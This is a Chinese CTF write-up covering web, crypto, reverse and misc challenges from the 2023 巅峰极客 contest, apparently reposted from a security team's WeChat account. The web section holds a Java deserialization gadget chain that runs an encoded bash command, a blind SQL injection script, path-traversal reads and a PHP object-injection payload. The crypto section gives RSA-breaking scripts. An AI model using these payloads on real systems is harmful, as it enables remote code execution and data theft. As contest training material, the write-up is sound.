招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Web:
Web-babyurl
package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class Main{
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9GMTRnSXNIZXJlWTBVR09USVQgPiAvdG1wL2ZpbGU=}|{base64,-d}|{bash,-i}");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "1ue");
setValue(templates, "_tfactory", null);
setValue(templates, "_sdom", new ThreadLocal());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val,"val",node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(val);
objectOutputStream.close();
byte[] bytes1 = byteArrayOutputStream.toByteArray();
byte[] data = Base64.getEncoder().encode(bytes1);
System.out.println(new String(data));
}
}
hellosql
Plain Text
import requests
a=1
flag=""
while 1:
for i in range(33,128):
try:
# if "*" ==chr(i)
# print(chr(i))
# Flllag Flagg
#burp0_url="http://web-a5d27a983b.challenge.xctf.org.cn:80/index.php?id=1'%09^%09case%09when%09((select%09ascii(substr(group_concat(table_name),{},1))%09from%09information_schema.tables%09where%09table_schema=database()))={}%09then%09(select%09sum(1)%09FROM%09information_schema.columns%09A,%09information_schema.columns%09B,%09information_schema.ENGINES%09C)%09else%091%09end--+".format(a,(i))
# print(burp0_url)
#burp0_url="http://web-a5d27a983b.challenge.xctf.org.cn:80/index.php?id=1'%09^%09case%09when%09((select%09ascii(substr(group_concat(column_name),{},1))%09from%09information_schema.columns%09where%09table_name='Flllag'))={}%09then%09(select%09sum(1)%09FROM%09information_schema.columns%09A,%09information_schema.columns%09B,%09information_schema.ENGINES%09C)%09else%091%09end--+".format(a,(i))
burp0_url="http://web-a5d27a983b.challenge.xctf.org.cn:80/index.php?id=1'%09^%09case%09when%09((select%09ascii(substr(group_concat(Flagg),{},1))%09from%09Flllag))={}%09then%09(select%09sum(1)%09FROM%09information_schema.columns%09A,%09information_schema.columns%09B,%09information_schema.ENGINES%09C)%09else%091%09end--+".format(a,(i))
# burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7", "Connection": "close"}
res=requests.get(burp0_url,timeout=3)
# print(res.text)
except:
flag+=chr(i)
a+=1
print(flag)
pass
hinder
任意文件读
//hinder///download.action?filename=../../../../../../..//run.sh
#!/bin/sh
#echo $FLAG > /oh_u_f1nd_me
FLAG=not_here
export FLAG=not_here
/usr/local/tomcat/bin/catalina.sh run
里面有flag路径
直接读flag
//hinder///download.action?filename=../../../../../../..//oh_u_f1nd_me
Vunserialize
POST /index.php HTTP/1.1
Host: web-75f0385078.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5739.224 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Origin: http://web-75f0385078.challenge.xctf.org.cn
Connection: close
Referer: http://web-75f0385078.challenge.xctf.org.cn/
Cookie: PHPSESSID=kv5u42p4u2jeburvspo7o0i517
Upgrade-Insecure-Requests: 1
root=adminbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:24:"?><?=`/???/??? /????`;?>";}ds
Crypto
Simple_encryption
from Crypto.Util.number import *
import gmpy2
def decrypt(c1, c2, p, q, N):
xp = c1 % p
xq = c2 % q
# 中国剩余定理
m = (xp * gmpy2.invert(q, p) * q + xq * gmpy2.invert(p, q) * p) % N
return m
def exp1():
c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
p = GCD(g1-1,N)
q = N//p
m=decrypt(c1,c2,p,q,N)
print(long_to_bytes(m).decode(),end='')
def exp(n,e,c):
k=0
while 1:
m1=k*n+c
m,t=gmpy2.iroot(m1,e)
if t:
return m
k+=1
def exp2():
from sympy import symbols, Eq, solve
S= 234626762558445335519229319778735528295
n= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
e= 5
Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]
cnt = 3
A = [(i + 128) ** 2 for i in range(cnt)]
B = [(i + 1024) for i in range(cnt)]
C = [(i + 512) for i in range(cnt)]
m1=[]
for i in Cs:
m1.append(int(exp(n,e,i)))
m=[]
for i in range(3):
x = symbols('x')
eq = Eq(A[i]*x ** 2 + B[i] * x + C[i] - m1[i], 0)
solutions = solve(eq, x)
for solution in solutions:
if solution>0:
m.append(solution)
assert sum(m)%n==S
for i in m:
print(long_to_bytes(i).decode(),end='')
exp1()
exp2()
c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
S= 234626762558445335519229319778735528295
N1= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
e= 5
Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]
from Crypto.Util.number import *
import gmpy2
import binascii
p=gmpy2.gcd(g1-1,N)
q=N//p
f1=long_to_bytes(c1%p-1)
cnt = 3
A = [(i + 128) ** 2 for i in range(cnt)]
B = [(i + 1024) for i in range(cnt)]
C = [(i + 512) for i in range(cnt)]
c=[]
for j in range(3):
i = 0
while True:
if gmpy2.iroot((Cs[j] + i * N1), 5)[1] == True:
m = gmpy2.iroot((Cs[j] + i * N1), 5)[0]
break
i += 1
c.append(int(m))
# var('x')
# print(solve([A[2]*x**2+B[2]*x+C[2]==c[2]],[x]))
m1=65413472431888815878902893901773169457
m2=133183392452574799979498526266539842331
m3=36029897673981719660827899610422516507
print(f1+long_to_bytes(m1)+long_to_bytes(m2)+long_to_bytes(m3))
#flag{f561fafb-32ce-9c16-18fa-ec795fc1d208}
数学但高中
desmos 画出函数图像
值得注意的事定义域是{}来表示的
Reverse:
g0Re-U
go语言逆向
考点:aes+base64变表+移位加密
了解下加密过程,cyber直接解
flag{g0_1s_th3_b3st_1anguage_1n_the_wOrld!_xxx}
Misc:
welcome
ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0= base64解码flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}
foundme
内存取证,提示找图片
没有系统
xway恢复文本找到一个avif文件
因为文件签名集没有avif文件,转换一个找到文件头0000001C667479706176696600000000
手提文件得到flag
– END –
原文始发于微信公众号(ChaMd5安全团队):巅峰极客2023 Writeup by Mini-Venom